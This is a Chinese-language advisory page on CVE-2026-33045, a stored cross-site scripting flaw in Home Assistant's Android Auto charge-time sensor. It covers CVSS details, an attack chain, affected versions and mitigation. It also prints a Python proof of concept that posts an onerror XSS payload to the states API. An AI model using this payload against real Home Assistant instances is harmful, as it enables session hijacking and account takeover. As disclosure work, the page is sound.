IPBUF安全漏洞报告
English
CVE-2026-33045 CVSS 5.4 中危

CVE-2026-33045 Home Assistant 跨站脚本漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33045
漏洞类型
跨站脚本 (XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Home Assistant

相关标签

XSSHome AssistantIoTWeb SecurityAndroid Auto

漏洞概述

Home Assistant 是一款开源家庭自动化软件。在 2025.02 至 2026.01 之前的版本中,从 Android Auto 导入的“剩余充电时间”传感器存在存储型跨站脚本漏洞。攻击者可通过注入恶意脚本利用该漏洞,当用户查看仪表盘时触发,导致信息泄露或会话劫持。该问题类似于 CVE-2025-62172,已在 2026.01 版本中修复。

技术细节

该漏洞属于存储型跨站脚本(Stored XSS)。Home Assistant 在处理 Android Auto 集成传输的移动设备传感器数据时,未对“剩余充电时间”字段进行充分的输入清洗和输出编码。攻击者若能控制发送给 Home Assistant 的传感器数据(例如通过篡改 Android Auto 应用或中间网络传输),即可将 JavaScript 代码注入到数据库中。由于 Home Assistant 直接将传感器数值渲染到前端 UI,当具有低权限的用户或管理员访问包含该传感器的仪表盘页面时,恶意脚本将在其浏览器环境中执行。CVSS 3.1 评分为 5.4(中危),攻击向量为网络(AV:N),攻击复杂度低(AC:L),且具备范围变更(S:C)能力,意味着攻击者可能利用此漏洞绕过同源策略,进一步窃取管理凭证或执行未授权操作。此漏洞利用了系统对外部集成数据的信任缺失,强调了在 IoT 平台中处理非受信输入的重要性。

攻击链分析

STEP 1
步骤1:准备攻击载荷
攻击者构造恶意的 JavaScript 代码或 HTML 标签(如 <img onerror=...>),旨在窃取 Cookie 或执行未授权操作。
STEP 2
步骤2:注入传感器数据
攻击者通过控制 Android Auto 设备或篡改传输数据,将恶意载荷作为“剩余充电时间”传感器的数值发送给 Home Assistant。
STEP 3
步骤3:数据持久化
Home Assistant 接收数据并存储,由于缺乏过滤,恶意载荷被原样保存在数据库中。
STEP 4
步骤4:触发漏洞
管理员或普通用户登录 Home Assistant 并访问包含该传感器实体的仪表盘页面。
STEP 5
步骤5:执行恶意代码
浏览器解析传感器数据时渲染恶意脚本,导致载荷在用户浏览器上下文中执行,攻击者获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept (PoC) for CVE-2026-33045 # This script demonstrates how a malicious sensor value could be injected # via the Android Auto integration or API if not sanitized. import requests # Target Home Assistant URL and API Token TARGET_URL = "http://home-assistant.local:8123" API_TOKEN = "Bearer YOUR_LONG_LIVED_ACCESS_TOKEN" SENSOR_ENTITY_ID = "sensor.android_auto_battery_remaining_charge_time" # The XSS Payload to be injected # This payload attempts to execute an alert box when rendered XSS_PAYLOAD = "<img src=x onerror=alert('XSS_CVE-2026-33045')>" headers = { "Authorization": API_TOKEN, "content-type": "application/json", } # Construct the API request to update the sensor state # In the real vulnerability, the Android Auto component sends this data automatically url = f"{TARGET_URL}/api/states/{SENSOR_ENTITY_ID}" data = { "state": XSS_PAYLOAD, "attributes": { "unit_of_measurement": "min", "friendly_name": "Remaining Charge Time" } } try: response = requests.post(url, json=data, headers=headers) if response.status_code == 200: print(f"[+] Payload injected successfully. View dashboard to trigger XSS.") print(f"[+] Payload content: {XSS_PAYLOAD}") else: print(f"[-] Failed to inject payload. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

Home Assistant >= 2025.02
Home Assistant < 2026.01

防御指南

临时缓解措施
建议用户立即升级到修复版本。若无法立即升级,可临时禁用 Android Auto 相关集成或从 Lovelace 仪表盘中移除受影响的传感器卡片,以降低被攻击风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表